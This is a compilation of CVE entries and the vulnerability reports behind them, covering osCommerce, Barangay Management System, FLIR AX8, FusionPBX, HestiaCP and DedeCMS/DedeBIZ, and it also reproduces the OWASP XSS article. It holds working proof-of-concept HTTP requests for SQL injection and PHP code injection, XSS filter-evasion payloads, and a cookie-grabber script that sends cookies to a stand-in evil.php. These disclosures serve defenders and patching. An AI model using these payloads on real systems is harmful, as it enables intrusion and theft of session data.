osCommerce2 before v2.3.4.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the function tep_db_error().

I am using osCommerce2 and find one potential XSS vulnerability in its version 2.3.4.1:

osCommerce implements function _tep\_db\_query()_ to execute SQL statement.  In case of MySQL error, the function _tep\_db\_query()_ would call _tep\_db\_error()_ to handle the mysql errors:

_$result = mysqli\_query($$link, $query) or tep\_db\_error($query, mysqli\_errno($$link), mysqli\_error($$link));_

The _tep\_db\_error()_ function basically calls _die()_ function to display the error back to users: 

_die('<font color="#000000"><strong>' . $errno . ' - ' . $error . '<br /><br />' . $query . ' ...);_

The _$query_ variable is sent by users and is well sanitized against SQL injection. However, it will also be used in the _die()_ function (a sensitive XSS function like _echo()_) when Mysql returns errors. In multiple files (e.g.,  "/admin/modules.php") ,  the $query variable is not sanitized (against XSS) and can be exploited because of the die() function.

I suggest adding XSS sanitizers in the _tep\_db\_error()_ function to avoid this kind of attack.

CVE-2022-35212: Potencial XSS vulnerability

Barangay Management System v1.0 was discovered to contain a SQL injection vulnerability via the hidden_id parameter at /blotter/blotter.php.

**Barangay Management System v1.0 by itsourcecode.com has SQL injection**

Vulnerability Author: Jiang Qian

The decompression password for the source file is itsourcecode.

Login account: admin/admin (Super Admin account)

vendors: https://itsourcecode.com/free-projects/php-project/barangay-management-system-project-in-php-with-source-code/

Vulnerability File: /bmis/pages/blotter/blotter.php

Vulnerability location: /bmis/pages/blotter/blotter.php,hidden\_id

\[+\] Payload: hidden\_id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> hidden\_id

POST /bmis/pages/blotter/blotter.php HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/bmis/pages/blotter/blotter.php
Cookie: sessions=aj0k5o11d743ingah9kp1b0ejntrqer6; PHPSESSID=fbu82ocu8kd37b5b20uqq71a35; \_ga=GA1.1.1382961971.1655097107; \_gid=GA1.1.804632123.1655097107
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 329
hidden\_id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&txt\_edit\_cname=&txt\_edit\_cage=1&txt\_edit\_cadd=1&txt\_edit\_ccontact=1&txt\_edit\_pname=&txt\_edit\_page=1&txt\_edit\_padd=1&txt\_edit\_pcontact=1&txt\_edit\_complaint=1&ddl\_edit\_acttaken=1st+Option&ddl\_edit\_stat=Solved&txt\_edit\_location=1&btn\_save=Save&table\_length=10

CVE-2022-35175: bug_report/SQLi-1.md at main · 1770746252/bug_report

A stored cross-site scripting (XSS) vulnerability in Kirby's Starterkit v3.7.0.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Tags field.

**Author:** KirstenS  
**Contributor(s):** Jim Manico, Jeff Williams, Dave Wichers, Adar Weidman, Roman, Alan Jex, Andrew Smith, Jeff Knutson, Imifos, Erez Yalon, kingthorin, Vikas Khanna  

**Overview**

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page. For more details on the different types of XSS flaws, see: Types of Cross-Site Scripting.

**How to Avoid Cross-site scripting Vulnerabilities**

*   XSS (Cross Site Scripting) Prevention Cheat Sheet
*   DOM based XSS Prevention Cheat Sheet
*   OWASP Development Guide article on Data Validation
*   OWASP Development Guide article on Phishing

**How to Review Code for Cross-site scripting Vulnerabilities**

See the OWASP Code Review Guide.

**How to Test for Cross-site scripting Vulnerabilities**

See the latest OWASP Testing Guide article on how to test for the various kinds of XSS vulnerabilities.

*   Testing\_for\_Reflected\_Cross\_site\_scripting
*   Testing\_for\_Stored\_Cross\_site\_scripting
*   Testing\_for\_DOM-based\_Cross\_site\_scripting

**Description**

Cross-Site Scripting (XSS) attacks occur when:

1.  Data enters a Web application through an untrusted source, most frequently a web request.
2.  The data is included in dynamic content that is sent to a web user without being validated for malicious content.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user’s machine under the guise of the vulnerable site.

**Stored and Reflected XSS Attacks**

XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well-known type of XSS attack called DOM Based XSS that is discussed separately here.

**Stored XSS Attacks**

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.

**Blind Cross-site Scripting**

Blind Cross-site Scripting is a form of persistent XSS. It generally occurs when the attacker’s payload saved on the server and reflected back to the victim from the backend application. For example in feedback forms, an attacker can submit the malicious payload using the form, and once the backend user/admin of the application will open the attacker’s submitted form via the backend application, the attacker’s payload will get executed. Blind Cross-site Scripting is hard to confirm in the real-world scenario but one of the best tools for this is XSS Hunter.

**Reflected XSS Attacks**

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a “trusted” server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

**Other Types of XSS Vulnerabilities**

In addition to Stored and Reflected XSS, another type of XSS, DOM Based XSS was identified by Amit Klein in 2005. OWASP recommends the XSS categorization as described in the OWASP Article: Types of Cross-Site Scripting, which covers all these XSS terms, organizing them into a matrix of Stored vs. Reflected XSS and Server vs. Client XSS, where DOM Based XSS is a subset of Client XSS.

**XSS Attack Consequences**

The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read-only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose. For more information on these types of attacks see Content\_Spoofing.

**How to Determine If You Are Vulnerable**

XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.

**How to Protect Yourself**

The primary defenses against XSS are described in the OWASP XSS Prevention Cheat Sheet.

Also, it’s crucial that you turn off HTTP TRACE support on all web servers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported by the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user’s cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all web servers.

The OWASP ESAPI project has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the OWASP WebGoat Project training application has lessons on Cross-Site Scripting and data encoding.

**Alternate XSS Syntax****XSS Using Script in Attributes**

XSS attacks may be conducted without using <script>...</script> tags. Other tags will do exactly the same thing, for example: <body onload=alert('test1')> or other attributes like: onmouseover, onerror.

**onmouseover**

<b onmouseover=alert('Wufff!')>click me!</b>

**onerror**

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

**XSS Using Script Via Encoded URI Schemes**

If we need to hide against web application filters we may try to encode string characters, e.g.: a=&\#X41 (UTF-8) and use it in IMG tags:

<IMG SRC=j&#X41vascript:alert('test2')>

There are many different UTF-8 encoding notations that give us even more possibilities.

**XSS Using Code Encoding**

We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397

    <META HTTP-EQUIV="refresh"
    CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
    

These and others examples can be found at the OWASP XSS Filter Evasion Cheat Sheet which is a true encyclopedia of the alternate XSS syntax attack.

**Examples**

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted website for the consumption of other valid users.

The most common example can be found in bulletin-board websites which provide web based mailing list-style functionality.

**Example 1**

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

    <% String eid = request.getParameter("eid"); %>
    ...
    Employee ID: <%= eid %>
    

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially, this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

**Example 2**

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee’s name.

    <%...
     Statement stmt = conn.createStatement();
     ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
     if (rs != null) {
      rs.next();
      String name = rs.getString("name");
    %>
    
    Employee Name: <%= name %>
    

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user’s web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with websites that offered a “guestbook” to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

*   As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker’s content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user’s machine to the attacker or perform other nefarious activities.
*   As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker’s perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
*   A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

**Attack Examples**

**Example 1: Cookie Grabber**

If the application doesn’t validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

    <SCRIPT type="text/javascript">
    var adr = '../evil.php?cakemonster=' + escape(document.cookie);
    </SCRIPT>
    

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in “cakemonster” variable. The attacker then checks the results of their evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

**Error Page Example**

Let’s assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is missing:

    <html>
    <body>
    <? php
    print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
    ?>
    
    </body>
    </html>
    

Let’s see how it works: http://testsite.test/file_which_not_exist In response we get: Not found: /file_which_not_exist

Now we will try to force the error page to include our code: http://testsite.test/<script>alert("TEST");</script> The result is: Not found: / (but with JavaScript code <script>alert("TEST");</script>)

We have successfully injected the code, our XSS! What does it mean? For example, that we may use this flaw to try to steal a user’s session cookie.

*   XSS Attacks
*   Invoking untrusted mobile code
*   Cross Site History Manipulation (XSHM)

*   Improper Data Validation
*   Types of Cross-Site Scripting
*   OWASP Development Guide article on Data Validation
*   OWASP Development Guide article on Phishing

*   Data Validation

**References**

*   OWASP’s XSS (Cross Site Scripting) Prevention Cheat Sheet
*   Testing\_for\_Reflected\_Cross\_site\_scripting
*   Testing\_for\_Stored\_Cross\_site\_scripting
*   Testing\_for\_DOM-based\_Cross\_site\_scripting
*   The Cross Site Scripting FAQ
*   OWASP XSS Filter Evasion Cheat Sheet
*   CERT Advisory on Malicious HTML Tags
*   CERT “Understanding Malicious Content Mitigation
*   Understanding the cause and effect of CSS Vulnerabilities
*   XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites

Category:Injection Category:OWASP Top Ten Project Category:Attack

CVE-2022-35174: Cross Site Scripting (XSS) | OWASP Foundation

FLIR AX8 thermal sensor cameras version up to and including 1.46.16 is vulnerable to Directory Traversal due to an improper access restriction. An unauthenticated, remote attacker can exploit this by sending a URI that contains directory traversal characters to disclose the contents of files located outside of the server's restricted path.

**FLIR AX8 vulnerabilities.****Product description:**

The FLIR AX8 is a thermal sensor with imaging capabilities, combining thermal and visual cameras that provides continuous temperature monitoring and alarming for critical electrical and mechanical equipment.  

**Affected products:**

All FLIR AX8 thermal sensor cameras version up to and including 1.46.16.

**Summary of the 4 vulnerabilities found / What we were able to find:**

*   Vulnerability 1 - Unauthenticated OS Command Injection.  
    FLIR AX8 is affected by an unauthenticated remote command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in res.php endpoint. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges. This issue affects all FLIR AX8 thermal sensor cameras version up to and including 1.46.16.
*   Vulnerability 2 - Unauthenticated Directory Traversal.  
    FLIR AX8 is affected by a directory traversal vulnerability due to an improper access restriction. An unauthenticated, remote attacker can exploit this, by sending a URI that contains directory traversal characters, to disclose the contents of files located outside of the server's restricted path. This issue affects all FLIR AX8 thermal sensor cameras version up to and including 1.46.16.
*   Vulnerability 3 - Improper Access Control.  
    FLIR AX8 is affected by an insecure design vulnerability due to an improper directory access restriction. An unauthenticated, remote attacker can exploit this, by sending a URI that contains the path of the SQLite users database, and download it. A successful exploit could allow the attacker to extract usernames and hashed passwords. This issue affects all FLIR AX8 thermal sensor cameras version up to and including 1.46.16.
*   Vulnerability 4 - Reflected cross-site scripting.  
    FLIR AX8 is affected by a reflected cross-site scripting (XSS) vulnerability due to an improper input sanitization. An authenticated, remote attacker can execute arbitrary JavaScript code in the web management interface. A successful exploit could allow the attacker to insert malicious JavaScript code. This issue affects all FLIR AX8 thermal sensor cameras version up to and including 1.46.16.

**Step by Step Example (How to Reproduce and verify) the vulnerabilities:**

1.  Unauthenticated Remote Command Injection.  
    The endpoint /res.php can be called remotely without user authentication as there is no cookie verification Cookie: PHPSESSID=ID to check if the request is legitimate. The second problem is that the POST parameter id can be injected to execute any Linux command. In the example below we create a crafted query that displays the contents of the /etc/shadow file.  
     The server returns a JSON response containing the contents of the /etc/shadow file.  
    This command injection is due because there no sanitization check on the variable $_POST["id"], line 65, and can therefore take advantage of the shell_exec() function to execute unexpected arbitrary shell commands.  
    
2.  Unauthenticated Directory Traversal.  
    The endpoint /download.php can be called remotely without user authentication as there is no cookie verification Cookie: PHPSESSID=ID to check if the request is legitimate. The second problem is that the GET parameter file can be injected with a relative file paths and download any files in the system. In the example below we create a crafted query that download the contents of the /etc/passwd file.  
    
    The error is due to the fact that there is no sanitization of the $file_path variable, line 26, when the fopen() function is called, line 39. However a comment in the code, line 24, and the use of the function pathinfo(), line 28, suggests that the developer thought about this problem and therefore created the variable $path_parts which is sanitized. But for some reasons the developer does not use the sanitizer variable $path_parts when the function fopen() is used. Probably an oversight.  
    
3.  Improper Access Control.  
    The endpoint /FLIR/db/users.db can be called remotely without user authentication as there is no cookie verification Cookie: PHPSESSID=ID to check if the request is legitimate and let any malicious actor to download the users.db SQLite database.
    
      
    Now we can see the content of the database correctly indented.
    
4.  Reflected cross-site scripting.  
    In the settings tab, if a file with a filename that contains JavaScript code is selected via the update firmware file input the JavaScript code will be triggered and executed. In our example, we created a file call
    

<img src\=x onerror\=alert(String.fromCharCode(97,108,101,114,116,40,39,116,101,115,116,39,41,59));\>.run

  
Then, once our malicious file selected.

**Recommendations for how to fix the 4 vulnerabilities:**

*   Vulnerability 1: The variable $_POST["id"], line 65 in the file /FLIR/usr/www/res.php, must be sanitized using the function intval() and will remove any character other than integer value. escapeshellcmd() and escapeshellarg() must be also used to escapes any characters in a string that might be used to execute arbitrary commands.  
    More info:  
    https://www.php.net/intval  
    https://www.php.net/manual/en/function.escapeshellcmd  
    https://www.php.net/manual/en/function.escapeshellarg
*   Vulnerability 2: The variable $file_path, line 39 in the file /FLIR/usr/www/download.php, must be sanitized using the function pathinfo() but also use a hard coded directory path, in case you need to manage several directories set a whitelist of all allowed directories and use multiple conditions.  
    More info:  
    https://www.php.net/manual/en/function.pathinfo
*   Vulnerability 3: Define a whitelist of all directories that a user is allowed to access. This can be added to the Lighttpd server configuration file, in /etc/lighttpd.conf.  
    More info:  
    https://www.cyberciti.biz/tips/howto-lighttpd-enable-disable-directory-listing.html
*   Vulnerability 4: To protect against filename XSS attack you can use a regex that will parse the filename to leave only numbers and letters.  
    More info:  
    https://cheatsheetseries.owasp.org/cheatsheets/Cross\_Site\_Scripting\_Prevention\_Cheat\_Sheet.html

**Reference:**

https://www.flir.com/products/ax8-automation/

**Security researchers:**

*   Thomas Knudsen
*   Samy Younsi

CVE-2022-37060: FLIR-AX8.md

A vulnerability, which was classified as critical, was found in SourceCodester Student Management System. Affected is an unknown function of the file index.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-206634 is the identifier assigned to this vulnerability.

CVE-2022-2876

FusionPBX 5.0.1 was discovered to contain a command injection vulnerability via /fax/fax_send.php.

@@ -312,7 +312,7 @@ function fax\_split\_dtmf(&$fax\_number, &$fax\_dtmf){ if ($fax\_file\_extension != "pdf" && $fax\_file\_extension != "tif") { chdir($dir\_fax\_temp); $command = $IS\_WINDOWS ? '' : 'export HOME=/tmp && '; $command .= 'libreoffice --headless --convert-to pdf --outdir '.$dir\_fax\_temp.' '.$dir\_fax\_temp.'/'.$fax\_name.'.'.$fax\_file\_extension; $command .= 'libreoffice --headless --convert-to pdf --outdir '.$dir\_fax\_temp.' '.$dir\_fax\_temp.'/'.escapeshellarg($fax\_name).'.'.escapeshellarg($fax\_file\_extension); exec($command); @unlink($dir\_fax\_temp.'/'.$fax\_name.'.'.$fax\_file\_extension); } @@ -322,7 +322,7 @@ function fax\_split\_dtmf(&$fax\_number, &$fax\_dtmf){ chdir($dir\_fax\_temp);  
//convert pdf to tif $cmd = exec('which gs')." -q -r".$gs\_r." -g".$gs\_g." -dBATCH -dPDFFitPage -dNOSAFER -dNOPAUSE -dBATCH -sOutputFile=".correct\_path($fax\_name).".tif -sDEVICE=tiffg4 -Ilib stocht.ps -c \\"{ .75 gt { 1 } { 0 } ifelse} settransfer\\" -- ".correct\_path($fax\_name).".pdf -c quit"; $cmd = exec('which gs')." -q -r".$gs\_r." -g".$gs\_g." -dBATCH -dPDFFitPage -dNOSAFER -dNOPAUSE -dBATCH -sOutputFile=".escapeshellarg($fax\_name).".tif -sDEVICE=tiffg4 -Ilib stocht.ps -c \\"{ .75 gt { 1 } { 0 } ifelse} settransfer\\" -- ".escapeshellarg($fax\_name).".pdf -c quit"; // echo($cmd . "<br/>\\n"); exec($cmd); @unlink($dir\_fax\_temp.'/'.$fax\_name.'.pdf'); @@ -672,17 +672,17 @@ function fax\_split\_dtmf(&$fax\_number, &$fax\_dtmf){  
//send the fax $fax\_file = $dir\_fax\_sent."/".$fax\_instance\_uuid.".tif"; $common\_variables .= "fax\_queue\_uuid='" . $fax\_queue\_uuid . "',"; $common\_variables .= "fax\_queue\_uuid='" . escapeshellarg($fax\_queue\_uuid) . "',"; $common\_variables = "for\_fax=1,"; $common\_variables .= "accountcode='" . $fax\_accountcode . "',"; $common\_variables .= "sip\_h\_X-accountcode='" . $fax\_accountcode . "',"; $common\_variables .= "domain\_uuid=" . $\_SESSION\["domain\_uuid"\] . ","; $common\_variables .= "domain\_name=" . $\_SESSION\["domain\_name"\] . ","; $common\_variables .= "origination\_caller\_id\_name='" . $fax\_caller\_id\_name . "',"; $common\_variables .= "origination\_caller\_id\_number='" . $fax\_caller\_id\_number . "',"; $common\_variables .= "fax\_ident='" . $fax\_caller\_id\_number . "',"; $common\_variables .= "fax\_header='" . $fax\_caller\_id\_name . "',"; $common\_variables .= "fax\_file='" . $fax\_file . "',"; $common\_variables .= "accountcode='" . escapeshellarg($fax\_accountcode) . "',"; $common\_variables .= "sip\_h\_X-accountcode='" . escapeshellarg($fax\_accountcode) . "',"; $common\_variables .= "domain\_uuid=" . escapeshellarg($\_SESSION\["domain\_uuid"\]) . ","; $common\_variables .= "domain\_name=" . escapeshellarg($\_SESSION\["domain\_name"\]) . ","; $common\_variables .= "origination\_caller\_id\_name='" . escapeshellarg($fax\_caller\_id\_name) . "',"; $common\_variables .= "origination\_caller\_id\_number='" . escapeshellarg($fax\_caller\_id\_number) . "',"; $common\_variables .= "fax\_ident='" . escapeshellarg($fax\_caller\_id\_number) . "',"; $common\_variables .= "fax\_header='" . escapeshellarg($fax\_caller\_id\_name) . "',"; $common\_variables .= "fax\_file='" . escapeshellarg($fax\_file) . "',";  
foreach ($fax\_numbers as $fax\_number) {  
@@ -704,16 +704,16 @@ function fax\_split\_dtmf(&$fax\_number, &$fax\_dtmf){ $fax\_uri = $route\_array\[0\]; $fax\_variables = ""; foreach($\_SESSION\['fax'\]\['variable'\] as $variable) { $fax\_variables .= $variable.","; $fax\_variables .= escapeshellarg($variable).","; } }  
//build the fax dial string $dial\_string = $common\_variables; $dial\_string .= $fax\_variables; $dial\_string .= "mailto\_address='" . $mail\_to\_address . "',"; $dial\_string .= "mailfrom\_address='" . $mail\_from\_address . "',"; $dial\_string .= "fax\_uri=" . $fax\_uri . ","; $dial\_string .= "mailto\_address='" . escapeshellarg($mail\_to\_address) . "',"; $dial\_string .= "mailfrom\_address='" . escapeshellarg($mail\_from\_address) . "',"; $dial\_string .= "fax\_uri=" . escapeshellarg($fax\_uri) . ","; $dial\_string .= "fax\_retry\_attempts=1" . ","; $dial\_string .= "fax\_retry\_limit=20" . ","; $dial\_string .= "fax\_retry\_sleep=180" . ",";

CVE-2022-35153: Security use escapeshellarg · fusionpbx/fusionpbx@de22a91

An issue was discovered in HestiaCP before v1.3.5. Attackers are able to arbitrarily install packages due to values taken from the pgk [] parameter in the update request being transmitted to the operating system's package manager.

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Merge remote-tracking branch 'jaapmarcus/fix/prevent-install-non-cont…

…rolled-package' into main

*   Loading branch information

Kristan Kenney committed

Mar 30, 2021

2 parents 32ef8a2 + 9a1fccd commit 27556a9a43aeaf308b33be224c2e70f2011574e6

Showing **2 changed files** with **7 additions** and **0 deletions**.

*   *   v-update-sys-hestia
*   *   main.sh

@@ -32,6 +32,7 @@ source $HESTIA/conf/hestia.conf

  

# Checking arg number

check\_args '1' "$#" 'PACKAGE'

is\_hestia\_package "hestia,hestia-nginx,hestia-php" "$package"

  

# Perform verification if read-only mode is enabled

check\_hestia\_demo\_mode

@@ -1154,6 +1154,12 @@ multiphp\_default\_version() {

echo "$sys\_phpversion"

}

  

is\_hestia\_package(){

if \[ \-z "$(echo $1 | grep -w $2)" \]; then

check\_result $E\_INVALID "$2 package is not controlled by hestiacp"

fi

}

  

# Run arbitrary cli commands with dropped privileges

# Note: setpriv --init-groups is not available on debian9 (util-linux 2.29.2)

# Input:

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CVE-2021-30070: Merge remote-tracking branch 'jaapmarcus/fix/prevent-install-non-cont… · hestiacp/hestiacp@27556a9

DedeCMS v5.7.94 - v5.7.97 was discovered to contain a remote code execution vulnerability in member_toadmin.php.

**Dedecms has remote code execution**

*   Affected product: Dedecms V5.7.94 - V5.7.97
*   Attack type: Remote
*   Affected component: /dede/member\_toadmin.php
*   Description: DedeCMS v5.7.94 was discovered to contain a remote code execution vulnerability in member\_toadmin.php.
*   Vendor confirmed or acknowledged: Confirmed
*   Fix information: Not available

    GET /dede/member_toadmin.php?id=%27.phpinfo();?%3E&typeids=1&dopost=toadmin&safecode=3373702420f2a357b12e6bc4&randcode=13967 HTTP/1.1
    Host: www.dedecms5794.com
    Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=lteb30kl960vhad3q6k4psjok4; _csrf_name_96c0ebe6=f97c33dd6471fdad17230e95a4bb1629; _csrf_name_96c0ebe61BH21ANI1AGD297L1FF21LN02BGE1DNG=c93476e2cd70eacb
    Connection: close
    

**Details**

DedeCMS v5.7.94 added the periodic password change reminder function to the file /dede/member_toadmin.php to comply with relevant web security regulations.

    // Regular password change reminders
    $arr\_password = array();
    $filename = DEDEDATA . '/password.data.php';
    if (file\_exists($filename)) {
        require\_once(DEDEDATA . '/password.data.php');
        $arr\_password = json\_decode($str\_password, true);
    }

    $timestamp = time();
    $arr\_password\[$id\] = "{$timestamp}";
    $content = "<?php\\r\\n\\$str\_password='" . json\_encode($arr\_password) . "';";

    $fp = fopen($filename, 'w') or die("写入文件 $filename 失败，请检查权限！");
    fwrite($fp, $content);
    fclose($fp);

When the input id is ', the variable $id is assigned the value \' by function _RunMagicQuotes in the file /include/common.inc.php.

    function \_RunMagicQuotes(&$svar) {
        if (!get\_magic\_quotes\_gpc()) {
            if (is\_array($svar)) {
                foreach ($svar as $\_k => $\_v) $svar\[$\_k\] = \_RunMagicQuotes($\_v);
            } else {
                if (strlen($svar) > 0 && preg\_match('#^(cfg\_|GLOBALS|\_GET|\_POST|\_COOKIE|\_SESSION)#', $svar)) {
                    exit('Request var not allow!');
                }
                $svar = addslashes($svar);
            }
        }
        return $svar;
    }

    foreach (array('\_GET', '\_POST', '\_COOKIE') as $\_request) {
        foreach ($$\_request as $\_k => $\_v) {
            if ($\_k == 'nvarname') ${$\_k} = $\_v;
            else ${$\_k} = \_RunMagicQuotes($\_v);
        }
    }

When $arr_password with $id is written to the file /data/password.data.php, function json_encode encodes $id from \' to \\', which causes escaping single quote.

Therefore, the attacker only needs to input id with '. followed by the codes he wishes to execute and configure the parameters (typeids, dopost, safecode and randcode) to write codes to the file /data/password.data.php and cause remote code execution.

CVE-2022-36216: Vulnerability/member_toadmin.poc.md at main · whitehatl/Vulnerability

DedeCMS v5.7.93 - v5.7.96 was discovered to contain a remote code execution vulnerability in login.php.

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**Dedecms has remote code execution**

*   Affected product: Dedecms V5.7.93 - V5.7.96
*   Attack type: Remote
*   Affected component: /dede/login.php
*   Description: DedeCMS v5.7.93 was discovered to contain a remote code execution vulnerability in login.php.
*   Vendor confirmed or acknowledged: Confirmed
*   Fix information: V5.7.97 UTF-8正式版20220708安全及功能更新补丁

    POST /dede/login.php HTTP/1.1
    Host: dedecms5793
    Content-Type: application/x-www-form-urlencoded
    Cookie: PHPSESSID=e9ag7oevkh77gnko3cdmt7mbc2
    
    dopost=login&userid=%5C%27.phpinfo%28%29%3B%3F%3E&pwd=123&validate=hw0k
    

**Details**

DedeCMS v5.7.93 added the login failure lock function to file /dede/login.php to comply with relevant web security regulations. When a user fails to login, the failure message will be written to file /data/login.data.php to record the number of failed login attempts for that user.

    $arr\_login\[$userid\] = "{$count},{$timestamp}";
    $content = "<?php\\r\\n\\$str\_login='" . json\_encode($arr\_login) . "';";

    $fp = fopen($filename, 'w') or die("写入文件 $filename 失败，请检查权限！");
    fwrite($fp, $content);
    fclose($fp);
                

The file write operation does not filter the write content sufficiently, allowing an attacker to write malicious code to the file by user name and cause remote code execution.

CVE-2022-35516: Vulnerability/Login.poc.md at main · whitehatl/Vulnerability

DedeBIZ v6 was discovered to contain a remote code execution vulnerability in sys_info.php.

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Cannot retrieve contributors at this time

**Dedebiz has remote code execution**

*   Affected product: DedeBIZ V6
*   Attack type: Remote
*   Affected component: /admin/sys\_info.php
*   Description: DedeBIZ v6.\* was discovered to contain a remote code execution vulnerability in sys\_info.php.
*   Vendor confirmed or acknowledged: Confirmed
*   Fix Information: Not available

    GET /admin/sys_info.php?dopost=add&nvarname=test&nvarvalue=phpinfo()&vartype=number HTTP/1.1
    Host: www.dedebiz6.com
